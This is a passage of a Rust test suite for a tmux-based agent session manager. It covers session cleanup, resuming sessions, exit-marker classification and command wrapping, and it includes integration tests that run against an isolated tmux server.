            .bind(&wt_path)
            .bind(session.id.to_string())
            .execute(mgr.store().pool())
            .await
            .unwrap();

        mgr.stop_session(&session.id.to_string(), true)
            .await
            .unwrap();

        assert!(
            !std::path::Path::new(&wt_path).exists(),
            "a solo (unshared) worktree must still be reclaimed on purge"
        );
    }

    #[tokio::test]
    async fn test_cleanup_dead_sessions_reclaims_shared_worktree_when_both_dead() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let wt_tmp = tempfile::tempdir().unwrap();
        let wt_path = wt_tmp.path().to_str().unwrap().to_owned();

        let a = mgr.create_session(make_req("plan-auth")).await.unwrap();
        let b = mgr.create_session(make_req("plan-auth-2")).await.unwrap();
        for id in [a.id, b.id] {
            sqlx::query("UPDATE sessions SET worktree_path = ?, status = 'stopped' WHERE id = ?")
                .bind(&wt_path)
                .bind(id.to_string())
                .execute(mgr.store().pool())
                .await
                .unwrap();
        }

        let result = mgr.cleanup_dead_sessions().await.unwrap();

        assert!(
            !std::path::Path::new(&wt_path).exists(),
            "worktree should be reclaimed once every referencing session is dead"
        );
        assert_eq!(result.sessions_deleted, 2);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_marks_historical_docker_sessions_lost() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        // Force-insert a historical docker-runtime session that looks active
        let session = Session {
            id: Uuid::new_v4(),
            name: "old-docker-active".into(),
            workdir: "/tmp".into(),
            command: "claude".into(),
            status: SessionStatus::Active,
            backend_session_id: Some("docker:pulpo-old-docker-active".into()),
            runtime: Runtime::Docker,
            created_at: Utc::now() - chrono::Duration::hours(1),
            ..Default::default()
        };
        mgr.store().insert_session(&session).await.unwrap();

        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 0);

        // The session is marked Lost instead of being re-created in tmux
        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Lost);
        let calls = backend.calls.lock().unwrap();
        assert!(!calls.iter().any(|c| c.starts_with("create:")));
        drop(calls);
    }

    // -- wrap_command edge cases --

    #[test]
    fn test_wrap_command_double_quotes() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("echo \"hello world\"", &id, "test", None, None, "/tmp");
        assert!(cmd.contains("echo \"hello world\""));
        assert!(cmd.contains("-l -c"));
    }

    #[test]
    fn test_wrap_command_backticks() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("echo `date`", &id, "test", None, None, "/tmp");
        assert!(cmd.contains("echo `date`"));
    }

    #[test]
    fn test_wrap_command_dollar_variables() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("echo $HOME $USER", &id, "test", None, None, "/tmp");
        assert!(cmd.contains("echo $HOME $USER"));
    }

    #[test]
    fn test_wrap_command_empty_string() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command("", &id, "test", None, None, "/tmp");
        // Empty command is not a shell command, so gets agent wrapper
        assert!(cmd.contains("-l -c"));
        assert!(cmd.contains("[pulpo] Agent exited"));
    }

    #[test]
    fn test_wrap_command_very_long() {
        let id = uuid::Uuid::new_v4();
        let long_cmd = "echo ".to_owned() + &"a".repeat(10_000);
        let cmd = wrap_command(&long_cmd, &id, "test", None, None, "/tmp");
        assert!(cmd.contains(&"a".repeat(10_000)));
        assert!(cmd.contains("-l -c"));
    }

    #[test]
    fn test_is_shell_command_with_whitespace() {
        // Trailing whitespace in basename should be trimmed
        assert!(is_shell_command("bash "));
        assert!(is_shell_command("/bin/bash "));
    }

    #[test]
    fn test_is_shell_command_bash_with_args_is_not_shell() {
        // "bash -c 'cmd'" is not a bare shell — it's running a command
        assert!(!is_shell_command("bash -c 'echo hello'"));
    }

    // -- stop_session with purge on various statuses --

    #[tokio::test]
    async fn test_stop_purge_creating_session_succeeds() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();
        let id = session.id.to_string();
        // Force status to Creating
        sqlx::query("UPDATE sessions SET status = 'creating' WHERE id = ?")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();
        // stop_session handles any status — stops backend then optionally purges
        mgr.stop_session(&id, true).await.unwrap();
        let fetched = mgr.get_session(&id).await.unwrap();
        assert!(fetched.is_none());
    }

    #[tokio::test]
    async fn test_stop_purge_lost_session_succeeds() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();
        let id = session.id.to_string();
        sqlx::query("UPDATE sessions SET status = 'lost' WHERE id = ?")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();
        mgr.stop_session(&id, true).await.unwrap();
        let fetched = mgr.get_session(&id).await.unwrap();
        assert!(fetched.is_none());
    }

    #[tokio::test]
    async fn test_stop_purge_ready_session_succeeds() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();
        let id = session.id.to_string();
        sqlx::query("UPDATE sessions SET status = 'ready' WHERE id = ?")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();
        mgr.stop_session(&id, true).await.unwrap();
        let fetched = mgr.get_session(&id).await.unwrap();
        assert!(fetched.is_none());
    }

    // -- cleanup_dead_sessions --

    #[tokio::test]
    async fn test_cleanup_dead_sessions_empty() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.sessions_deleted, 0);
        assert_eq!(resp.worktrees_cleaned, 0);
    }

    #[tokio::test]
    async fn test_cleanup_dead_sessions_deletes_stopped_and_lost() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;

        let s1 = mgr
            .create_session(make_req("cleanup-stopped"))
            .await
            .unwrap();
        sqlx::query("UPDATE sessions SET status = 'stopped' WHERE id = ?")
            .bind(s1.id.to_string())
            .execute(&pool)
            .await
            .unwrap();

        let s2 = mgr.create_session(make_req("cleanup-lost")).await.unwrap();
        sqlx::query("UPDATE sessions SET status = 'lost' WHERE id = ?")
            .bind(s2.id.to_string())
            .execute(&pool)
            .await
            .unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.sessions_deleted, 2);
        assert_eq!(resp.worktrees_cleaned, 0);

        assert!(mgr.get_session(&s1.id.to_string()).await.unwrap().is_none());
        assert!(mgr.get_session(&s2.id.to_string()).await.unwrap().is_none());
    }

    #[tokio::test]
    async fn test_cleanup_dead_sessions_preserves_active() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;

        let active = mgr.create_session(make_req("keep-active")).await.unwrap();
        let stopped = mgr.create_session(make_req("del-stopped")).await.unwrap();
        sqlx::query("UPDATE sessions SET status = 'stopped' WHERE id = ?")
            .bind(stopped.id.to_string())
            .execute(&pool)
            .await
            .unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.sessions_deleted, 1);

        assert!(
            mgr.get_session(&active.id.to_string())
                .await
                .unwrap()
                .is_some()
        );
        assert!(
            mgr.get_session(&stopped.id.to_string())
                .await
                .unwrap()
                .is_none()
        );
    }

    #[tokio::test]
    async fn test_cleanup_dead_sessions_counts_worktrees() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;

        let s = mgr.create_session(make_req("wt-cleanup")).await.unwrap();
        sqlx::query("UPDATE sessions SET status = 'stopped', worktree_path = '/nonexistent/path' WHERE id = ?")
            .bind(s.id.to_string())
            .execute(&pool)
            .await
            .unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.sessions_deleted, 1);
        assert_eq!(resp.worktrees_cleaned, 1);
    }

    #[tokio::test]
    async fn test_capture_off_by_default_skips_setup_logging() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        mgr.create_session(make_req("no-capture")).await.unwrap();
        let has_setup = backend
            .calls
            .lock()
            .unwrap()
            .iter()
            .any(|c| c.starts_with("setup_logging:"));
        assert!(!has_setup);
        // The logs directory is not even created when capture is off.
        let logs = std::path::Path::new(mgr.store().data_dir()).join("logs");
        assert!(!logs.exists());
    }

    #[tokio::test]
    async fn test_capture_on_sets_up_logging() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let mgr = mgr.with_capture_session_output(true);
        mgr.create_session(make_req("with-capture")).await.unwrap();
        let has_setup = backend
            .calls
            .lock()
            .unwrap()
            .iter()
            .any(|c| c.starts_with("setup_logging:"));
        assert!(has_setup);
        let logs = std::path::Path::new(mgr.store().data_dir()).join("logs");
        assert!(logs.exists());
    }

    #[tokio::test]
    async fn test_cleanup_removes_dead_session_log_file() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let s = mgr.create_session(make_req("with-log")).await.unwrap();
        // Simulate a captured log file for the session.
        let log_path = session_log_path(mgr.store().data_dir(), &s.id.to_string());
        std::fs::create_dir_all(log_path.parent().unwrap()).unwrap();
        std::fs::write(&log_path, b"agent output").unwrap();
        sqlx::query("UPDATE sessions SET status = 'lost' WHERE id = ?")
            .bind(s.id.to_string())
            .execute(&pool)
            .await
            .unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.sessions_deleted, 1);
        assert_eq!(resp.logs_cleaned, 1);
        assert!(!log_path.exists());
    }

    #[tokio::test]
    async fn test_cleanup_sweeps_orphan_worktree_and_preserves_referenced() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let wt_base = worktrees_dir(mgr.store().data_dir());
        let orphan = wt_base.join("orphan-task");
        std::fs::create_dir_all(&orphan).unwrap();
        std::fs::write(orphan.join("big.bin"), b"node_modules").unwrap();

        // An active session that still references its worktree dir must be preserved.
        let kept_dir = wt_base.join("keep-active");
        std::fs::create_dir_all(&kept_dir).unwrap();
        let active = mgr.create_session(make_req("keep-active")).await.unwrap();
        sqlx::query("UPDATE sessions SET worktree_path = ? WHERE id = ?")
            .bind(kept_dir.to_string_lossy().into_owned())
            .bind(active.id.to_string())
            .execute(mgr.store().pool())
            .await
            .unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.worktrees_cleaned, 1);
        assert!(!orphan.exists(), "orphan worktree should be removed");
        assert!(kept_dir.exists(), "referenced worktree must be preserved");
    }

    #[tokio::test]
    async fn test_cleanup_sweeps_orphan_session_log() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let logs_dir = std::path::Path::new(mgr.store().data_dir()).join("logs");
        std::fs::create_dir_all(&logs_dir).unwrap();
        // A {uuid}.log with no matching session row is an orphan.
        let orphan_log = logs_dir.join("44444444-4444-4444-4444-444444444444.log");
        std::fs::write(&orphan_log, b"stale").unwrap();
        // The rolling daemon log must never be swept.
        let daemon_log = logs_dir.join("pulpod.log.2026-06-07-12");
        std::fs::write(&daemon_log, b"keep").unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.logs_cleaned, 1);
        assert!(!orphan_log.exists());
        assert!(daemon_log.exists());
    }

    #[tokio::test]
    async fn test_purge_session_removes_log_file() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let s = mgr.create_session(make_req("purge-log")).await.unwrap();
        let log_path = session_log_path(mgr.store().data_dir(), &s.id.to_string());
        std::fs::create_dir_all(log_path.parent().unwrap()).unwrap();
        std::fs::write(&log_path, b"out").unwrap();

        mgr.stop_session(&s.id.to_string(), true).await.unwrap();
        assert!(!log_path.exists());
        assert!(mgr.get_session(&s.id.to_string()).await.unwrap().is_none());
    }

    #[tokio::test]
    async fn test_cleanup_dead_sessions_emits_deleted_events() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let (event_tx, mut event_rx) = broadcast::channel(16);
        let mgr = mgr.with_event_tx(event_tx, "test-node".into());

        let s = mgr.create_session(make_req("evt-cleanup")).await.unwrap();
        let _ = event_rx.recv().await; // drain create event
        sqlx::query("UPDATE sessions SET status = 'stopped' WHERE id = ?")
            .bind(s.id.to_string())
            .execute(&pool)
            .await
            .unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.sessions_deleted, 1);

        let event = event_rx.recv().await.unwrap();
        assert!(matches!(event, PulpoEvent::SessionDeleted(_)));
    }

    // -- resume_session emits event --

    #[tokio::test]
    async fn test_resume_session_emits_event() {
        let (mgr, _, pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let (event_tx, mut event_rx) = broadcast::channel(16);
        let mgr = mgr.with_event_tx(event_tx, "test-node".into());
        let session = mgr.create_session(make_req("resume-evt")).await.unwrap();
        let _ = event_rx.recv().await; // drain create event
        let id = session.id.to_string();
        sqlx::query("UPDATE sessions SET status = 'lost' WHERE id = ?")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();
        let _resumed = mgr.resume_session(&id).await.unwrap();
        let event = event_rx.recv().await.unwrap();
        let se = unwrap_session_event(event);
        assert_eq!(se.status, "active");
        assert_eq!(se.previous_status.as_deref(), Some("lost"));
    }

    // ───────────────────────────────────────────────────────────
    // Exit-marker classification: Stopped vs Lost (fix/lifecycle-truth)
    // ───────────────────────────────────────────────────────────

    #[tokio::test]
    async fn test_dead_backend_with_code_marker_resolves_stopped_with_exit_code() {
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr.create_session(make_req("code-marker")).await.unwrap();
        let data_dir = mgr.store().data_dir().to_owned();
        let code_path = exit_code_marker_path(&data_dir, &session.id.to_string());
        std::fs::create_dir_all(code_path.parent().unwrap()).unwrap();
        std::fs::write(&code_path, "0").unwrap();

        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Stopped);
        assert_eq!(fetched.exit_code, Some(0));
    }

    #[tokio::test]
    async fn test_dead_backend_with_clean_marker_only_resolves_stopped_no_exit_code() {
        // Bare-shell spawns only ever get a `.clean` marker (no `.code`) — the
        // exit_code stays unset, but the classification must still be Stopped.
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr
            .create_session(make_req("clean-marker-only"))
            .await
            .unwrap();
        let data_dir = mgr.store().data_dir().to_owned();
        let clean_path = exit_clean_marker_path(&data_dir, &session.id.to_string());
        std::fs::create_dir_all(clean_path.parent().unwrap()).unwrap();
        std::fs::write(&clean_path, "").unwrap();

        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Stopped);
        assert!(fetched.exit_code.is_none());
    }

    #[tokio::test]
    async fn test_adopted_style_session_with_no_marker_becomes_lost() {
        // Regression lock: an "adopted"-style session (a `backend_session_id` present,
        // but never spawned via `wrap_command`, so no exit marker for its id ever
        // exists) must still resolve to Lost when its backend dies — this should
        // already pass given the `has_exit_marker` false branch; it locks in that the
        // marker-aware classification doesn't change behavior for sessions with no
        // wrapper (see `watchdog::adopt::classify_adopted_process`).
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = Session {
            id: Uuid::new_v4(),
            name: "adopted-external".into(),
            workdir: "/tmp".into(),
            command: "claude".into(),
            status: SessionStatus::Active,
            backend_session_id: Some("adopted-external".into()),
            created_at: Utc::now() - chrono::Duration::hours(1),
            ..Default::default()
        };
        mgr.store().insert_session(&session).await.unwrap();

        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Lost);
        assert!(fetched.exit_code.is_none());
    }

    #[tokio::test]
    async fn test_resume_session_from_stopped_succeeds() {
        let (mgr, _, pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr
            .create_session(make_req("stopped-resume"))
            .await
            .unwrap();
        let id = session.id.to_string();
        sqlx::query("UPDATE sessions SET status = 'stopped' WHERE id = ?")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();

        let resumed = mgr.resume_session(&id).await.unwrap();
        assert_eq!(resumed.status, SessionStatus::Active);
    }

    #[tokio::test]
    async fn test_resume_session_rejects_active_with_updated_message() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr
            .create_session(make_req("active-resume-reject"))
            .await
            .unwrap();
        let err = mgr
            .resume_session(&session.id.to_string())
            .await
            .unwrap_err();
        let msg = err.to_string();
        assert!(msg.contains("cannot be resumed"), "got: {msg}");
        assert!(
            msg.contains("only stopped, lost, or ready sessions can be resumed"),
            "got: {msg}"
        );
    }

    #[tokio::test]
    async fn test_resume_session_rejects_creating_with_updated_message() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let session = mgr
            .create_session(make_req("creating-resume-reject"))
            .await
            .unwrap();
        let id = session.id.to_string();
        sqlx::query("UPDATE sessions SET status = 'creating' WHERE id = ?")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();
        let err = mgr.resume_session(&id).await.unwrap_err();
        assert!(
            err.to_string()
                .contains("only stopped, lost, or ready sessions can be resumed")
        );
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_resolves_clean_exit_to_stopped_instead_of_resuming() {
        // Daemon-down ordering fix: the session ended cleanly (marker dropped directly,
        // simulating the wrapper having already run while pulpod was down) — the next
        // resume_lost_sessions pass (simulating a restart) must resolve it to Stopped
        // rather than blindly auto-resuming (re-launching the original command).
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr
            .create_session(make_req("daemon-down-clean"))
            .await
            .unwrap();
        let data_dir = mgr.store().data_dir().to_owned();
        let code_path = exit_code_marker_path(&data_dir, &session.id.to_string());
        std::fs::create_dir_all(code_path.parent().unwrap()).unwrap();
        std::fs::write(&code_path, "42").unwrap();

        *backend.alive.lock().unwrap() = false;
        backend.calls.lock().unwrap().clear();
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(
            resumed, 0,
            "a cleanly-exited session must not be auto-resumed"
        );

        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Stopped);
        assert_eq!(fetched.exit_code, Some(42));

        // No new backend session was created for it.
        let calls = backend.calls.lock().unwrap();
        assert!(!calls.iter().any(|c| c.starts_with("create:")));
        drop(calls);
    }

    #[tokio::test]
    async fn test_resume_purges_stale_exit_markers_before_recreating_backend() {
        // resume_session/resume_lost_sessions reuse the same session id when
        // recreating the backend (unlike create_session, which always mints a fresh
        // UUID). A stale marker left over from a *previous* run of this same id must
        // be purged before the backend is recreated — otherwise the next watchdog
        // idle-check tick would see it and immediately (and wrongly) treat the
        // freshly-resumed, genuinely-running session as already finished, since
        // check_session_idle's marker check does not consult backend aliveness.
        let (mgr, _, _pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr
            .create_session(make_req("stale-marker-resume"))
            .await
            .unwrap();
        let id = session.id.to_string();
        let data_dir = mgr.store().data_dir().to_owned();
        let clean_path = exit_clean_marker_path(&data_dir, &id);
        std::fs::create_dir_all(clean_path.parent().unwrap()).unwrap();
        std::fs::write(&clean_path, "").unwrap();
        sqlx::query("UPDATE sessions SET status = 'lost' WHERE id = ?")
            .bind(&id)
            .execute(mgr.store().pool())
            .await
            .unwrap();
        assert!(has_exit_marker(&data_dir, &id));

        mgr.resume_session(&id).await.unwrap();

        assert!(
            !has_exit_marker(&data_dir, &id),
            "stale exit markers must be purged before the backend is recreated on resume"
        );
    }

    #[tokio::test]
    async fn test_handoff_session_from_stopped_source_succeeds() {
        // handoff_session has no status guard on the source today — a common real
        // path is now: session exits cleanly -> auto-Stopped -> user hands off to a
        // follow-up session. Lock this in as a regression test (don't add a guard).
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();
        sqlx::query("UPDATE sessions SET status = 'stopped' WHERE id = ?")
            .bind(source.id.to_string())
            .execute(&pool)
            .await
            .unwrap();

        let handed_off = mgr
            .handoff_session(&source.id.to_string(), make_handoff_req())
            .await
            .unwrap();
        assert_eq!(handed_off.name, "plan-auth-2");
    }

    #[tokio::test]
    async fn test_stale_grace_period_delays_classification_then_resolves_stopped() {
        // Within the grace period, check_and_mark_stale must not fire at all — even
        // though a marker already exists (agent exited fast + user exited the shell
        // within the grace window). Once the window passes, the next check correctly
        // resolves Stopped (not Lost) using the marker that was there all along.
        let tmpdir = tempfile::tempdir().unwrap();
        let tmpdir = Box::leak(Box::new(tmpdir));
        let store = Store::new(tmpdir.path().to_str().unwrap()).await.unwrap();
        store.migrate().await.unwrap();
        let backend = Arc::new(MockBackend::new().with_alive(false));
        // Default stale_grace_secs (5s) — NOT with_no_stale_grace.
        let mgr = SessionManager::new(backend, store, None);

        let session = mgr.create_session(make_req("grace-window")).await.unwrap();
        let id = session.id.to_string();
        let data_dir = mgr.store().data_dir().to_owned();
        let code_path = exit_code_marker_path(&data_dir, &id);
        std::fs::create_dir_all(code_path.parent().unwrap()).unwrap();
        std::fs::write(&code_path, "0").unwrap();

        // Still within the grace period — no transition yet.
        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert_eq!(fetched.status, SessionStatus::Active);

        // Backdate created_at past the grace window and check again.
        sqlx::query("UPDATE sessions SET created_at = ? WHERE id = ?")
            .bind((Utc::now() - chrono::Duration::seconds(10)).to_rfc3339())
            .bind(&id)
            .execute(mgr.store().pool())
            .await
            .unwrap();

        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert_eq!(fetched.status, SessionStatus::Stopped);
        assert_eq!(fetched.exit_code, Some(0));
    }

    #[tokio::test]
    async fn test_purge_session_removes_exit_markers() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let s = mgr.create_session(make_req("purge-markers")).await.unwrap();
        let data_dir = mgr.store().data_dir().to_owned();
        let id = s.id.to_string();
        let code_path = exit_code_marker_path(&data_dir, &id);
        let clean_path = exit_clean_marker_path(&data_dir, &id);
        std::fs::create_dir_all(code_path.parent().unwrap()).unwrap();
        std::fs::write(&code_path, "0").unwrap();
        std::fs::write(&clean_path, "").unwrap();

        mgr.stop_session(&id, true).await.unwrap();

        assert!(!code_path.exists());
        assert!(!clean_path.exists());
    }

    #[tokio::test]
    async fn test_cleanup_dead_sessions_removes_exit_markers() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let s = mgr
            .create_session(make_req("cleanup-markers"))
            .await
            .unwrap();
        let data_dir = mgr.store().data_dir().to_owned();
        let id = s.id.to_string();
        let code_path = exit_code_marker_path(&data_dir, &id);
        std::fs::create_dir_all(code_path.parent().unwrap()).unwrap();
        std::fs::write(&code_path, "0").unwrap();
        sqlx::query("UPDATE sessions SET status = 'stopped' WHERE id = ?")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.sessions_deleted, 1);
        assert!(resp.logs_cleaned >= 1, "got: {resp:?}");
        assert!(!code_path.exists());
    }

    #[tokio::test]
    async fn test_cleanup_sweeps_orphan_exit_markers() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let data_dir = mgr.store().data_dir().to_owned();
        let exit_dir_path = exit_dir(&data_dir);
        std::fs::create_dir_all(&exit_dir_path).unwrap();
        let orphan_id = uuid::Uuid::new_v4();
        let orphan_code = exit_dir_path.join(format!("{orphan_id}.code"));
        std::fs::write(&orphan_code, "0").unwrap();

        let resp = mgr.cleanup_dead_sessions().await.unwrap();
        assert_eq!(resp.logs_cleaned, 1);
        assert!(!orphan_code.exists());
    }
}

/// Real-tmux integration tests for the session lifecycle QA matrix (docs/operations/
/// session-lifecycle.md) and the Ready-death fix above. Every test here builds a real
/// `SessionManager` — real `TmuxBackend`, real `Store` in a tempdir — and drives it
/// through `create_session` so the actual `wrap_command` wrapper runs, proving the
/// end-to-end mechanics that the `MockBackend`-based unit tests above can only simulate.
///
/// Each test runs against its own throwaway tmux server via `TmuxBackend::with_socket`
/// (`tmux -L pulpo-test-<uuid>`) — never the developer's default tmux server — and
/// tears its socket down with `kill-server` in cleanup. This makes the tests safe to
/// run concurrently with each other and alongside a real tmux session on the machine.
///
/// Gated `not(coverage)`, mirroring the other real-tmux/real-git integration tests in
/// this crate (`test_enforce_budgets_kills_real_tmux_session_over_budget` in
/// `watchdog/budget.rs`; `git_integration_tests` in `session/utils.rs`): they run in
/// the CI `Test` job, which has tmux and git installed, and are excluded from the
/// coverage build, which doesn't.
#[cfg(all(test, not(coverage)))]
mod real_tmux_tests {
    use super::*;
    use crate::backend::tmux::TmuxBackend;
    use std::process::Command as StdCommand;
    use std::time::Duration;

    /// A short, unique-per-test tmux socket name — `tmux -L <name>` connects to an
    /// isolated server instead of the default one, so tests never interfere with (or
    /// get torn down by) the developer's real tmux session.
    fn unique_socket() -> String {
        let short = uuid::Uuid::new_v4().simple().to_string();
        format!("pulpo-test-{}", &short[..8])
    }

    /// Build a real `SessionManager`: a real tmux backend bound to `socket`, and a
    /// real `Store` in a fresh tempdir. The tempdir is returned so the caller keeps
    /// it alive for the test's duration.
    async fn real_manager(socket: &str) -> (SessionManager, tempfile::TempDir) {
        let tmpdir = tempfile::tempdir().unwrap();
        let store = Store::new(tmpdir.path().to_str().unwrap()).await.unwrap();
        store.migrate().await.unwrap();
        let backend: Arc<dyn Backend> = Arc::new(TmuxBackend::with_socket(socket.to_owned()));
        let manager = SessionManager::new(backend, store, None).with_no_stale_grace();
        (manager, tmpdir)
    }

    /// Run a raw `tmux -L <socket> <args>` invocation directly — for operations the
    /// `Backend` trait doesn't expose (`kill-server`, a raw control-key `send-keys`).
    fn raw_tmux(socket: &str, args: &[&str]) -> std::process::Output {
        StdCommand::new("tmux")
            .arg("-L")
            .arg(socket)
            .args(args)
            .output()
            .expect("tmux should be installed and runnable")
    }

    /// Best-effort teardown of a test's isolated tmux server. Always passes an
    /// explicit `-L <socket>` — this must never be able to reach the default socket.
    fn kill_test_server(socket: &str) {
        let _ = raw_tmux(socket, &["kill-server"]);
    }

    fn make_req(name: &str, workdir: &str, command: &str, worktree: bool) -> CreateSessionRequest {
        CreateSessionRequest {
            name: name.to_owned(),
            workdir: Some(workdir.to_owned()),
            command: Some(command.to_owned()),
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: worktree.then_some(true),
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        }
    }

    /// Poll `condition` until it returns `true`, up to a generous deadline. Mirrors
    /// `watchdog::tests::wait_for` (see that file for why a fixed sleep isn't safe
    /// under a busy parallel test suite — a starved single-threaded runtime can let
    /// wall-clock time pass without actually polling). Returns `bool` instead of
    /// panicking so call sites can assert with a message that includes the last
    /// observed state.
    async fn wait_for<F, Fut>(deadline_secs: u64, condition: F) -> bool
    where
        F: Fn() -> Fut,
        Fut: std::future::Future<Output = bool>,
    {
        let deadline = tokio::time::Instant::now() + Duration::from_secs(deadline_secs);
        loop {
            if condition().await {
                return true;
            }
            if tokio::time::Instant::now() >= deadline {
                return false;
            }
            tokio::time::sleep(Duration::from_millis(150)).await;
        }
    }

    /// Write a tiny shell script and return `sh <path>` as a session command. A script
    /// file (rather than an inline `sh -c '...'` string) sidesteps nested single-quote
    /// escaping entirely — see the documented `pulpo spawn -- <args>` quoting
    /// limitation in the project memory (trailing-arg joining loses quoting), which
    /// this deliberately avoids by never constructing a quoted inline command.
    fn short_agent_script(dir: &std::path::Path, exit_code: i32) -> String {
        let path = dir.join("agent.sh");
        std::fs::write(&path, format!("exit {exit_code}\n")).unwrap();
        format!("sh {}", path.display())
    }

    async fn wait_for_exit_marker(mgr: &SessionManager, id: &str, deadline_secs: u64) -> bool {
        let data_dir = mgr.store().data_dir().to_owned();
        wait_for(deadline_secs, || {
            let data_dir = data_dir.clone();
            async move { crate::session::utils::has_exit_marker(&data_dir, id) }
        })
        .await
    }

    async fn wait_for_status(
        mgr: &SessionManager,
        id: &str,
        status: SessionStatus,
        deadline_secs: u64,
    ) -> bool {
        wait_for(deadline_secs, || async {
            matches!(mgr.get_session(id).await, Ok(Some(s)) if s.status == status)
        })
        .await
    }

    // -- Cell 3: CI promotion of THE bug (#94) ------------------------------------
    //
    // A short agent exits, writing the `.code` marker; the user then exits the
    // lingering fallback shell (`exit` + Enter). The dead tmux session must classify
    // as Stopped with the agent's real exit code, not Lost — this is the exact
    // regression #94 fixed (previously classified Lost, indistinguishable from a
    // crash).

    #[tokio::test]
    async fn test_cell3_short_agent_exit_then_shell_exit_classifies_stopped_with_exit_code() {
        let socket = unique_socket();
        let (mgr, _tmp) = real_manager(&socket).await;
        let script_dir = tempfile::tempdir().unwrap();
        let command = short_agent_script(script_dir.path(), 7);

        let session = mgr
            .create_session(make_req("cell3-exit-code", "/tmp", &command, false))
            .await
            .unwrap();
        let id = session.id.to_string();
        let backend_id = session
            .backend_session_id
            .clone()
            .expect("backend session id should resolve on create");

        assert!(
            wait_for_exit_marker(&mgr, &id, 20).await,
            "the wrapper should write the .code exit marker once the short agent exits"
        );

        // The user exits the lingering fallback shell.
        raw_tmux(&socket, &["send-keys", "-t", &backend_id, "exit", "Enter"]);

        let stopped = wait_for_status(&mgr, &id, SessionStatus::Stopped, 20).await;
        let fetched = mgr.get_session(&id).await.unwrap().unwrap();
        assert!(
            stopped,
            "session should classify to Stopped, got {:?}",
            fetched.status
        );
        assert_eq!(fetched.exit_code, Some(7));

        kill_test_server(&socket);
    }

    // -- Cell 4: Ctrl-C sent to a running agent -----------------------------------
    //
    // `wrap_command` runs the wrapped agent as the foreground child of a
    // *non-interactive* `$SHELL -l -c '...'` invocation (no `-i`, so bash/zsh never
    // enable job control there). Empirically verified against both bash and zsh on
